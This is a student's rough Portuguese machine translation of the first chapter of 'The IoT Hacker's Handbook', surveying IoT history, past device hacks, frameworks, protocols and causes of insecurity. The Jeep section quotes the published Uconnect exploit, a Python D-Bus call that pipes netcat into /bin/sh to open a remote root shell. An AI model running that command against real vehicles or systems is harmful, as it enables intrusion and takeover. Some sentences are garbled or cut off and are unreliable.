Murilo Bertoloti Garcia – RM 555849

Tradução do primeiro capítulo do livro The Iot Hackers Handbook

Sobre o autor

Aditya Gupta é o fundador e CEO da Attify, Inc., uma empresa especializada empresa de segurança que oferece testes de penetração de IoT e treinamento de segurança em
Exploração de IoT. Nos últimos dois anos, Aditya se apresentou
pesquisa aprofundada sobre a segurança desses dispositivos, incluindo smart residências, dispositivos médicos, sistemas ICS e SCADA. Ele também falou em inúmeras conferências internacionais de segurança, ensinando as pessoas sobre o insegurança nessas plataformas e como elas podem ser exploradas. Aditya também é coautor do *IoT Pentesting Cookbook* e autor de *Learning Pentesting para dispositivos Android*.

Sobre o Revisor Técnico

Adeel Javed é consultor de automação inteligente, autor e
orador. Ele ajuda as organizações a automatizar o trabalho usando processos de negócios
gestão (BPM), automação robótica de processos (RPA), regras de negócio gerenciamento (BRM) e plataformas de integração.
Ele adora explorar novas tecnologias e escrever sobre elas. Ele
publicou seu primeiro livro, *Building Arduino Projects for the Internet of Coisas*, com Apress em 2015. Ele compartilha seus pensamentos sobre vários tendências tecnológicas em seu blog pessoal (adeeljaved.com).

Confirmações

Este livro nunca poderia ter sido terminado sem a minha incrível equipe em Attify, que derramaram em seu dia e noite para se certificar de que nós produzimos conteúdo de qualidade em equipe.

Introdução

Os dez capítulos deste livro cobrem uma série de tópicos, que vão desde exploração de hardware e incorporada, exploração de firmware, rádio comunicação, incluindo exploração de BLE e ZigBee.

Para mim, escrever este livro foi uma jornada emocionante e aventureira, compartilhando minhas experiências e as várias coisas que aprendi no meu carreira profissional e despejando tudo nesses dez capítulos.

Espero que você possa tirar o máximo proveito deste livro e eu gostaria muito Incentive-o a pegar todos os conjuntos de habilidades aprendidas neste livro e aplicar eles para problemas do mundo real e ajudar a fazer a Internet das Coisas (IoT) ecossistema mais seguro. São as contribuições individuais que nos ajudarão criar um mundo mais seguro e protegido, e você lendo este livro pode jogar um parte nisso.

Ninguém é perfeito, e este livro está fadado a ter um ou dois pequenos erros. Se você encontrar qualquer um desses erros, avise-me e eu ficaria feliz para corrigi-los em edições futuras do *The IoT Hacker's Handbook.*

Também dou aulas de treinamento de três e cinco dias sobre IoT ofensiva exploração, que eu encorajaria você a participar para colocar a mão na massa experiência com tudo abordado no livro. Para mais informações Sobre os treinamentos online e aulas ao vivo, fique à vontade para conferir attify-store.com.

A última e mais importante parte é a comunidade! Para você, o leitor, quero que você esteja disposto o suficiente para compartilhar seu conhecimento com seu colegas ou até mesmo com alguém que é novo neste campo. É assim que nós, como comunidade, vai crescer.

CAPÍTULO 1

Internet das Coisas:
Uma Cartilha

No mundo das tecnologias de comunicação, dois dos eventos que realizam
Significado especial são a invenção da ARPANET, uma rede de computadores
permitindo que os computadores troquem dados mesmo quando estão
geograficamente
e o surgimento da Internet das Coisas (IoT). Este último,
no entanto, foi um processo evolutivo em vez de um único evento. O mais antigo
implementações do conceito de IoT ocorreram quando um casal de Carnegie
Estudantes da Mellon University encontraram uma maneira de monitorar o número de latas
permanecer em uma máquina de venda automática, permitindo que os dispositivos se comuniquem com
o mundo externo. Eles fizeram isso adicionando um fotosensor ao dispositivo
que contaria cada vez que uma lata saísse da máquina de venda automática e, assim,
O número de latas restantes foi calculado. Hoje em dia, os dispositivos IoT são
capaz de monitorar sua frequência cardíaca, e até mesmo controlá-la, se necessário em
o caso de um evento adverso. Além disso, alguns dispositivos IoT agora podem servir como
uma fonte de prova durante os julgamentos em tribunal, como se viu no final de 2015, quando o
Dados FitBit de uma mulher foram usados em um julgamento de assassinato. Outros incidentes incluem
uso de dados de marca-passo e gravações do Amazon Echo em vários tribunais
Ensaios. A jornada dos dispositivos IoT de um dormitório universitário para o ser
presente dentro do ser humano é fascinante, para dizer o mínimo.
Kevin Aston, quando mencionou pela primeira vez o termo *Internet das Coisas,*
provavelmente não teria imaginado que esses dispositivos seriam em breve
ultrapassando toda a população humana em número. Aston mencionou o

termo em referência à tecnologia de identificação por radiofrequência (RFID),
que estava sendo usado para conectar dispositivos juntos. A definição de IoT
desde então, mudou, com diferentes organizações dando seu próprio significado
ao termo. Qualcomm e Cisco criaram o termo chamado *Internet*
de Tudo (IoE), que alguns acreditam que foi para uma agenda de marketing. O
termo, segundo eles, significa estender o conceito de IoT a partir de
limitando-se à comunicação máquina a máquina com máquinas
comunicando-se com as máquinas e com o mundo físico.
O primeiro vislumbre da IoT atual foi visto em junho de 2000
quando a primeira geladeira conectada à Internet, a Internet Digital DIOS,
foi revelado pela LG. A geladeira continha um TFT-LCD de alta qualidade
tela com uma série de funcionalidades, incluindo a exibição do
temperatura no interior do frigorífico, proporcionando pontuações de frescura do
itens armazenados e usando a funcionalidade da webcam para acompanhar os itens
sendo armazenado. O dispositivo inicial que provavelmente recebeu mais atenção de
a mídia e os consumidores foi o Nest Learning Thermostat em outubro
2011. Este dispositivo foi capaz de aprender a programação do usuário para ajustar diferentes
temperaturas desejadas em diferentes horas do dia. A aquisição desta IoT

empresa de termostato pelo Google por US$ 3,2 bilhões foi o evento que fez
o mundo ciente da próxima revolução na tecnologia.
Logo, surgiram centenas de novas startups tentando se interconectar
todos os diferentes aspectos do mundo físico para dispositivos e grandes
organizações iniciando equipes internas especializadas para criar seus
Linha própria de dispositivos IoT a ser lançada no mercado o mais breve possível.
Essa corrida para criar novos dispositivos ditos inteligentes nos leva ao presente,
onde somos capazes de interagir com nossas smart TVs em casa enquanto
bebericamos
uma chávena de café preparada por uma máquina de café controlada pela Internet e
Controlar as luzes pela música que toca no seu assistente inteligente. Muito
no entanto, não se limita apenas ao nosso espaço físico. Ele também tem inúmeros
aplicações em empresas, lojas de varejo, cuidados de saúde, indústria, redes
elétricas,
e até mesmo pesquisas científicas avançadas.

Os formuladores de políticas do mundo digital lutaram com o ritmo acelerado de
o surgimento de dispositivos IoT, e não poderia vir com controles de qualidade
rigorosos
e normas de segurança. Isso mudou apenas recentemente, quando as organizações
como a GSMA criou diretrizes de segurança e privacidade para dispositivos IoT,
e a Comissão Federal de Comércio (FTC) estabeleceu as medidas a serem seguidas
para
garantir a segurança. No entanto, o atraso levou à adoção generalizada
de dispositivos IoT em todas as diferentes verticais e também permitiu que os
desenvolvedores
para ignorar considerações de segurança quando se trata desses dispositivos. Ela
não foi até o efeito generalizado do botnet Mirai que a segurança
As deficiências desses dispositivos seriam conhecidas. Mirai era um botnet que
atacou dispositivos IoT, principalmente câmeras conectadas à Internet, verificando
o status das portas 23 e 2323 e a autenticação forçada bruta usando
credenciais comuns. Sem surpresa, muitas das câmeras IP expostas a
a Internet tinha telnet disponível com um nome de usuário extremamente comum e
senha, que foi fácil de encontrar. O mesmo botnet também foi usado mais tarde para
assumir a infraestrutura de Internet da Libéria, bem como a DYN, o que levou a
um ataque a vários sites populares, incluindo GitHub, Twitter, Reddit,
e Netflix.
Nos últimos dois anos, mesmo com a segurança desses dispositivos
tem melhorado lentamente, ainda não chegou a um ponto em que esses dispositivos
pode ser considerado extremamente seguro de usar. Em novembro de 2016, quatro
seguranças
pesquisadores — Eyal Ronen, Colin O'Flynn, Adi Shamir e Achi-Or
Weingarten — criou um interessante worm de prova de conceito (PoC)
que atacou usando drones e assumiu o controle das luzes inteligentes Philips Hue
de um edifício de escritórios. Mesmo que o ataque tenha sido apenas uma PoC, não é
um
chegar a pensar que estaríamos vendo ransomware de dispositivo inteligente
semelhante
ao WannaCry, pedindo-nos dinheiro para abrir a fechadura da nossa porta ou para
virar
em marca-passo. Quase todos os dispositivos inteligentes foram determinados a ter
questões críticas de segurança e privacidade, incluindo automação residencial
inteligente
sistemas, dispositivos vestíveis, babás eletrônicas e até brinquedos sexuais pessoais.

Considerando a quantidade de dados íntimos que esses dispositivos coletam, é assustador
Veja quanta exposição temos a ataques cibernéticos.

O aumento de incidentes de segurança em dispositivos IoT também levou ao aumento demanda por profissionais de segurança IoT, tanto como construtores quanto disjuntores.
Isso permite que as organizações garantam que seus dispositivos estejam protegidos contra
as vulnerabilidades que os invasores mal-intencionados podem usar para comprometer seus
Sistemas. Além disso, várias empresas começaram a oferecer bugs
recompensas para incentivar pesquisadores a avaliar a segurança de sua IoT dispositivos, com alguns até mesmo enviando dispositivos de hardware gratuitos para pesquisadores.
Nos próximos anos, essa tendência deve crescer, e com a ascensão da IoT
soluções no mercado, haverá uma demanda aumentada por
Profissionais de segurança IoT na força de trabalho.

Problemas anteriores de segurança da IoT

A melhor maneira de aprender sobre a segurança desses dispositivos é observando o que
já aconteceu no passado. Ao aprender sobre os erros de segurança outros desenvolvedores de produtos fizeram no passado, podemos obter uma compreensão de que tipo de problemas de segurança esperar no produto que estamos avaliando. Embora alguns termos possam parecer desconhecidos aqui, nós os discutimos em detalhe nos próximos capítulos.

Termostato Nest

O artigo "Smart Nest Thermostat: A Smart Spy in Your Home" por Grant Hernandez, Orlando Arias, Daniel Buentello e Yier Jin, menções
algumas das deficiências de segurança do Google Nest que permitiram o Instalação de um novo firmware malicioso no dispositivo. Isso foi feito pressionando o botão no Nest por cerca de 10 segundos para acionar o global repor. Nesta fase, o dispositivo poderia ser feito para procurar mídia USB para comunicando-se com o pino sys_boot5. No dispositivo USB,
um firmware malicioso estava presente, que o dispositivo então usou enquanto inicialização.

ZigBee pacotes para uma solicitação legítima, e simplesmente reproduzi-lo para executar o
mesma ação em um momento posterior e assumir o controle do dispositivo. Nós também
veja como capturar e reproduzir pacotes ZigBee no Capítulo 10.

Lifx Lâmpada Inteligente

Os dispositivos domésticos inteligentes têm sido um dos alvos de pesquisa mais populares
entre a comunidade de segurança. Outro exemplo inicial ocorreu quando
Alex Chapman, pesquisador de segurança da empresa Context, descobriu
sérias vulnerabilidades de segurança na lâmpada inteligente Lifx, tornando isso possível
Para que os invasores injetem pacotes mal-intencionados na rede, obtenha descriptografia
Credenciais Wi-Fi e assuma as lâmpadas inteligentes sem nenhuma autenticação.
Os dispositivos, neste caso, estavam se comunicando usando 6LoWPAN, que
é outro protocolo de comunicação de rede (assim como o ZigBee) construído em
topo de 802.15.4. Para farejar os pacotes 6LoWPAN, Chapman usou um Atmel
RzRaven piscou com a imagem de firmware Contiki 6LoWPAN, permitindo
ele para olhar o tráfego entre os dispositivos. A maioria dos dados confidenciais
A troca que acontecia através dessa rede era criptografada, o que tornava o produto parecem bastante seguro.
Uma das coisas mais importantes durante os testes de penetração de IoT é o
capacidade de olhar para o produto em sua totalidade, em vez de apenas olhar para um
Componente único para identificar os problemas de segurança. Isso significa que para figurar
como os pacotes estão sendo criptografados na comunicação de rádio,
A resposta provavelmente está no firmware. Uma das técnicas para obter
o binário de firmware de um dispositivo é despejá-lo via exploração de hardware
técnicas como o JTAG, que abordamos no Capítulo 6. No caso de
Lâmpadas Lifx, JTAG deu acesso ao firmware Lifx, que quando revertido
levou à identificação do tipo de criptografia, que neste caso foi
Advanced Encyrption Standard (AES), a chave de criptografia, a inicialização
e o modo de bloco usado para criptografia. Porque essas informações
teria sido o mesmo para todas as lâmpadas inteligentes Lifx, um atacante poderia tomar

controle de qualquer lâmpada e invadir o Wi-Fi porque o dispositivo estava
também comunicando as credenciais Wi-Fi através da rede de rádio, que
agora pode ser descriptografado.

O Jeep Hack

O Jeep Hack é provavelmente o hack IoT mais popular de todos os tempos. Dois
os pesquisadores de segurança, Dr. Charlie Miller e Chris Valasek, demonstraram
em 2015, como eles poderiam assumir e controlar remotamente um Jeep usando
vulnerabilidades no sistema Uconnect da Chrysler, resultando em Chrysler tendo
para recolher 1,4 milhão de veículos.
O hack completo se aproveitou de muitas vulnerabilidades diferentes,
incluindo esforços extensivos em engenharia reversa de vários indivíduos
binários e protocolos. Uma das primeiras vulnerabilidades que fez com que o
O possível ataque era o software Uconnect, que permitia que qualquer pessoa
conecte-se remotamente a ele por meio de uma conexão de celular. A porta 6667 estava acessível
com autenticação anônima habilitada e foi encontrado em execução
D-Bus sobre IP, que é usado para se comunicar entre processos. Depois
interagindo com a D-Bus e obtendo uma lista de serviços disponíveis, um dos

serviços com o nome NavTrailService foi encontrado para ter uma execução
método que permitiu aos pesquisadores executar código arbitrário no dispositivo.
A Figura 1-1 mostra o código de exploração que foi usado para abrir um shell raiz
remoto
na unidade principal.

```
#!python
import dbus
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/ha
rman/service/NavTrailService')
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.Ser
viceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 |
/bin/sh | netcat 192.168.5.109 6666"}')
```

Figure 1-1. *Exploit code. Source: Image from official white paper at* *http://illmatics.com/Remote%20Car%20Hacking.pdf*

Uma vez obtida a execução arbitrária do comando, foi possível
realizar um movimento lateral e enviar mensagens CAN assumindo o controle de
os vários elementos do veículo, tais como o volante, os travões,
faróis, e assim por diante.

Belkin Wemo

A Belkin Wemo é uma linha de produtos que oferece aos consumidores automação
residencial completa.
Belkin Wemo é um caso interessante em que os desenvolvedores tomaram
precauções
para impedir que invasores instalem firmware malicioso no dispositivo. O
As atualizações de firmware para Belkin Wemo, no entanto, aconteceram por causa de
um
canal que permitia que invasores modificassem o pacote binário do firmware
durante a atualização. Como medida de proteção, o Belkin Wemo usou um GNU
Mecanismo de distribuição de firmware criptografado baseado no Privacy Guard
(GPG)
Assim, o dispositivo não aceitaria pacotes de firmware maliciosos injetados por um
agressor. Essa proteção de segurança foi superada com extrema facilidade porque
O dispositivo estava distribuindo a chave de assinatura do firmware junto com o
firmware
durante o processo de atualização, tudo em um canal não criptografado. Um atacante
poderia, portanto, modificar facilmente o pacote, bem como assiná-lo com o correto
e o dispositivo aceitaria esse firmware com prazer. Este
A vulnerabilidade foi descoberta por Mike Davis da IOActive no início de 2014 e foi
classificou uma pontuação (CVSS) de 10,0 para a criticidade da vulnerabilidade.
Mais tarde, descobriu-se que a Belkin tinha uma série de outros problemas de
segurança
incluindo bugs como injeção de SQL e modificação do nome do
dispositivo para executar JavaScript arbitrário no smartphone Android do usuário
entre outros. Pesquisa adicional foi realizada em Belkin Wemo
pelo grupo FireEye (ver https://www.fireeye.com/blog/threat-research/
2016/08/embedded_hardwareha.html), que envolveu
obtendo acesso ao firmware e console de depuração usando Universal
Transmissor Receptor Assíncrono (UART) e Periférico Serial

Técnicas de hardware de interface (SPI). Isso também os levou a identificar que , através do acesso ao hardware, pode-se modificar facilmente os argumentos do carregador de inicialização,
tornando a verificação de assinatura de firmware do dispositivo inútil.

Bomba de Insulina

Um pesquisador de segurança chamado Jay Radcliffe trabalhando para a Rapid7 identificou que
Alguns dispositivos médicos, especificamente bombas de insulina, podem estar sofrendo de
Uma vulnerabilidade de ataque baseada em repetição. Radcliffe, ele próprio diabético tipo 1, definiu
para pesquisar uma das bombas de insulina mais populares do mercado, a
Sistema de bomba de insulina OneTouch Ping da Animas, uma subsidiária da Johnson &
Johnson. Durante a análise, ele descobriu que a bomba de insulina usava texto não criptografado
mensagens para se comunicar, o que tornou extremamente simples para qualquer pessoa
captar a comunicação, modificar a dosagem de insulina a ser administrada,
e retransmitir o pacote. Quando ele tentou o ataque ao OneTouch
Pingando bomba de insulina, funcionou perfeitamente, sem ter como saber
a quantidade de insulina que estava sendo administrada durante o ataque.
A vulnerabilidade foi corrigida pelo fornecedor, Animas, dentro de cinco
meses, o que mostra que pelo menos algumas empresas levam relatórios de segurança
levar a sério e tomar medidas para manter os consumidores seguros.

Fechaduras Inteligentes

Um pesquisador de segurança com o identificador Jmaxx partiu em um desafio para encontrar
fragilidades de segurança na fechadura inteligente de agosto, considerada uma das fechaduras inteligentes mais populares e seguras, usadas por ambos os consumidores para suas casas
e anfitriões do Airbnb para permitir que os hóspedes façam check-in de acordo com sua conveniência. Alguns dos
As vulnerabilidades que ele descobriu incluíam a capacidade dos convidados de se virar
em um administrador, modificando um valor no tráfego de rede de
usuário para superusuário, firmware não sendo assinado, funcionalidade do aplicativo para ignorar
Fixação SSL (Secure Sockets Layer) (ativando o modo de depuração) e muito mais.
No mesmo evento, os pesquisadores de segurança Anthony Rose e Ben
Ramsey, da empresa de segurança Merculite, fez outra apresentação intitulada
"Picking Bluetooth Low Energy Locks from a Quarter Mile Away", no qual eles
revelaram vulnerabilidades em vários produtos de fechaduras de porta inteligentes, incluindo cadeado Quicklock, cadeado iBluLock, Plantraco Phantomlock,
Ceomate Bluetooth Smart Doorlock, Elecycle EL797 e EL797G Smart
Cadeado, Fechadura inteligente Bluetooth de VianFechadura inteligente Okidokey, poli-controle
Danalock Doorlock, Mesh Motion Bitlock Padlock e Lagute

Fechadura inteligente Sciener.
As vulnerabilidades descobertas por Rose e Ramsey eram de variedade.
tipos, incluindo transmissão da senha em texto não criptografado, suscetibilidade para repetir ataques baseados em repetição, revertendo aplicativos móveis para identificar ataques confidenciais
informações, fuzzing e falsificação de dispositivos. Por exemplo, durante o processo de redefinição da senha, Quicklock Padlock envia um Bluetooth pacote de baixa energia (BLE) contendo o opcode, senha antiga e nova senha. Porque até mesmo a autenticação normal acontece de forma mais clara comunicação de texto, um invasor pode usar a senha para configurar uma nova senha para a fechadura da porta que tornaria o dispositivo inútil para o proprietário original. A única maneira de redefini-lo seria remover o bateria do dispositivo após a abertura do gabinete. Em outro dispositivo, o Danalock Doorlock, pode-se fazer engenharia reversa do aplicativo móvel para Identifique o método de criptografia e localize a chave de criptografia codificada ("este é o segredo") sendo usado.

Hackeando armas e fuzis inteligentes

Além dos típicos dispositivos e eletrodomésticos inteligentes, os fuzis são ficando esperto também. TrackingPoint, um desses fabricantes de rifle inteligente tecnologia, oferece um aplicativo móvel para olhar para a visualização de tiro e ajustar ela. Este aplicativo foi encontrado para ser vulnerável a alguns problemas de segurança. Runa
Sandvik e Michael Auger identificaram vulnerabilidades no fuzil inteligente que lhes permitia acessar interfaces de programação de aplicativos de administração (APIs) depois de obter acesso ao dispositivo via UART. Explorando o celular aplicativo, um ataque baseado em rede permitiria que um invasor alterasse os vários parâmetros, como velocidade do vento, direção, o peso da bala e outros parâmetros necessários durante a preparação para disparar a bala.
Quando esses parâmetros são modificados, o atirador não saberia disso essas mudanças foram feitas.
Outro caso ocorreu quando um pesquisador de segurança que atende pelo nome Plore foi capaz de contornar algumas das restrições de segurança aplicadas por IP1, uma arma inteligente da Armatix. A arma inteligente exigia que o atirador usar um relógio especial fornecido pelo IP1 para disparar a arma. Para ignorar a segurança
Restrições , Plore inicialmente realizou análise de sinal de rádio e encontrou a frequência exata que a arma usa para se comunicar. Mais tarde, ele percebeu que Usando alguns ímãs, o plugue de metal que trava o plugue de disparo pode ser manipulado, permitindo que o atirador dispare a bala. Mesmo que o uso de ímãs não é um ataque de alta tecnologia que você pode pensar que é necessário explorar
Dispositivos IoT, é um ótimo exemplo de como pensar fora da caixa pode ajudá-lo a identificar vulnerabilidades.
Essas vulnerabilidades servem de exemplo para ajudá-lo compreender vários tipos de vulnerabilidades normalmente encontradas em dispositivos IoT.
Mais tarde, abordaremos vários componentes de dispositivos IoT, incluindo técnicas para exploração de hardware, rádio, firmware e software, e você aprenderá mais sobre como usar algumas dessas técnicas nos dispositivos IoT que você é: pesquisando ou realizando um pentest em.

Fragmentação na Internet das Coisas

Porque IoT é um campo enorme, com todas as empresas querendo obter sua parte do bolo, você muitas vezes vai encontrar-se com vários protocolos e estruturas que podem ajudar os desenvolvedores a trazer seus produtos para comercializar mais rapidamente.

As estruturas de IoT são várias ofertas prontamente disponíveis que ajudam a IoT desenvolvedores aceleram o processo de desenvolvimento de uma solução de dispositivo IoT aproveitando a base de código existente e as bibliotecas oferecidas, reduzindo o tempo necessário para colocar o produto no mercado. Embora isso faça as coisas significativamente mais fácil para desenvolvedores e empresas, o outro lado, que é muitas vezes negligenciado, é o quão seguro esses quadros são. Na verdade, com base no meu experiências com testes de penetração de dispositivos IoT, dispositivos usando vários As estruturas eram frequentemente vulneráveis até mesmo a problemas básicos de segurança. O discussões que tive mais tarde com as equipes de produto revelaram que o geral A mentalidade é que, se alguém está usando uma estrutura popular, muitas vezes pensa-se que seja seguro por design, resultando em descuido para avaliar sua segurança.

Não importa de que lado você esteja, os construtores ou os disjuntores, é importante olhar para as questões de segurança do produto, não importa o estrutura subjacente ou os conjuntos do protocolo que está sendo usado. Por exemplo você muitas vezes encontraria desenvolvedores usando ZigBee pensando que é extremamente seguro, deixando seus produtos vulneráveis a todos os de ataques baseados em rádio.

Neste livro, não nos concentramos necessariamente em qualquer estrutura ou pilha de tecnologia, mas em vez disso, olhar para uma abordagem que é aplicável a qualquer Solução de dispositivo IoT, independentemente da arquitetura subjacente. Neste No entanto, também abordamos alguns protocolos populares (por exemplo, ZigBee e BLE) para lhe dar uma ideia de que tipo de vulnerabilidades esperar e como para ir encontrando esses problemas de segurança.

Algumas das estruturas de IoT populares incluem o seguinte:

- Eclipse Kura (https://www.eclipse.org/kura/)
- The Physical Web (https://google.github.io/physical-web/)
- IBM Bluemix (now IBM Cloud: https://www.ibm.com/cloud/)
- Lelylan (http://www.lelylan.com/)
- Thing Speak (https://thingspeak.com/)
- Bug Labs (https://buglabs.net/)
- The thing system (http://thethingsystem.com/)
- Open Remote (http://www.openremote.com/)
- OpenHAB (https://www.openhab.org/)
- Eclipse IoT (https://iot.eclipse.org/)
- Node-Red (https://nodered.org/)
- Flogo (https://www.flogo.io/)
- Kaa IoT (https://www.kaaproject.org/)
- Macchina.io (https://macchina.io/)
- Zetta (http://www.zettajs.org/)

• GE Predix (https://www.ge.com/digital/predixplatform-foundation-digital-industrialapplications)
• DeviceHive (https://devicehive.com/)
• Distributed Services Architecture (http://iot-dsa.org/)
• Open Connectivity Foundation (https://openconnectivity.org/)

Essa é apenas uma pequena fração de algumas das IoT mais populares estruturas de dispositivos que você encontrará enquanto mergulha no mundo de Muito. Da mesma forma, quando se trata dos protocolos de comunicação, há é toda uma gama de protocolos sendo usados pelos fabricantes para sua IoT Soluções. Alguns dos protocolos de comunicação mais populares incluem o seguinte:

• Wi-Fi
• BLE
• Cellular/Long Term Evaluation (LTE)
• ZigBee
• ZWave
• 6LoWPAN
• LoRA
• CoAP
• SigFox
• Neul
• MQTT
• AMQP
• Thread
• LoRaWAN

Para avaliar adequadamente a segurança da IoT de um determinado dispositivo ou comunicação protocolo, você vai precisar de várias ferramentas de hardware. Por exemplo, Ubertooth Um seria necessário para capturar e analisar pacotes BLE, Atmel RzRaven para ZigBee, e assim por diante.

Agora que temos uma boa ideia do que é a IoT e os vários tecnologias envolvidas, vamos dar uma olhada em alguns dos fatores que levam a insegurança desses dispositivos.

Razões para vulnerabilidades de segurança da IoT

Dado que os dispositivos IoT são extremamente complexos por natureza, é altamente provável que a maioria dos dispositivos que você encontrar terá problemas de segurança. Se nós Tente entender por que essas vulnerabilidades existem em primeiro lugar, e como Você pode evitar esses problemas de segurança ao criar um produto, precisamos Aprofunde-se em todo o ciclo de vida de desenvolvimento do produto, desde a ideação fase até que o produto esteja no mercado.

Algumas das razões que se destacam como causa de problemas de segurança quando A construção desses dispositivos é dada em seguida

Falta de conscientização de segurança entre os desenvolvedores

Os desenvolvedores que estão trabalhando nesses dispositivos inteligentes geralmente são menos
conhecedor, se não completamente desconhecedor, da possível segurança vulnerabilidades em dispositivos IoT. Dado que em grandes organizações, os desenvolvedores
muitas vezes já estão extremamente ocupados, seria uma ótima ideia ter periódicos reuniões para discutir como os desenvolvedores podem criar produtos seguros a partir de
scratch, incluindo táticas acionáveis, como diretrizes rígidas de codificação a serem seguido e uma lista de verificação de segurança para qualquer exemplo de código em que trabalhem.

Falta de uma perspectiva macro

Como vemos no próximo capítulo sobre os vários componentes que constituem um dispositivo IoT, é extremamente fácil para desenvolvedores ou equipes de segurança
esqueça o fato de que é a interconexão de dispositivos e vários
tecnologias que podem levar a problemas de segurança. Por exemplo, basta olhar para
O aplicativo móvel pode não revelar problemas de segurança, mas se você combinar descobertas do aplicativo móvel e como a comunicação em rede
Funciona, você poderia descobrir um problema crítico de segurança. É essencial para equipes de produto para investir mais tempo e esforços olhando para todo o dispositivo
arquitetura e execução de modelagem de ameaças.

Problemas de segurança baseados na cadeia de suprimentos

Uma das causas das vulnerabilidades de segurança em dispositivos IoT é a envolvimento de muitas partes interessadas. Isso significa que muitas vezes você encontrar diferentes componentes de dispositivos que estão sendo fabricados por diferentes
vendedores, tudo sendo montado por outro fornecedor e, finalmente,
sendo distribuído por mais um. Isso, ainda que inevitável em
a maioria das situações, pode levar a problemas de segurança (ou backdoor) que podem ser
introduzida por um deles, colocando todo o produto em risco.

Uso de estruturas inseguras e de terceiros Bibliotecas

No caso de dispositivos IoT ou qualquer outra tecnologia, muitas vezes
Encontre desenvolvedores usando bibliotecas e pacotes existentes e apresentando Exemplos de código potencialmente vulneráveis no produto seguro. Mesmo
embora algumas organizações tenham verificações de qualidade no código escrito por os desenvolvedores, estes muitas vezes tendem a perder os pacotes que os desenvolvedores

estão usando. Isso também é acompanhado pelos requisitos de negócios de um organização onde a gestão exige que os produtos cheguem ao mercado em prazos acelerados (muitas vezes irrealistas), o que coloca a segurança avaliação do produto em segundo plano. Muitas vezes sua importância não é até que o produto sofra uma falha de segurança.

Conclusão

Neste capítulo, analisamos o que são dispositivos IoT, os protocolos e estruturas sendo usadas por esses dispositivos inteligentes, e as razões pelas quais eles
Os dispositivos são muitas vezes vulneráveis. Também tivemos uma olhada em alguns dos
identificou problemas de segurança em soluções populares de dispositivos IoT para entender
quais algumas das vulnerabilidades encontradas em dispositivos do mundo real. Na próxima
Examinamos mais profundamente o mapeamento da superfície de ataque destes dispositivos e como podemos identificar e possivelmente evitar riscos de segurança na IoT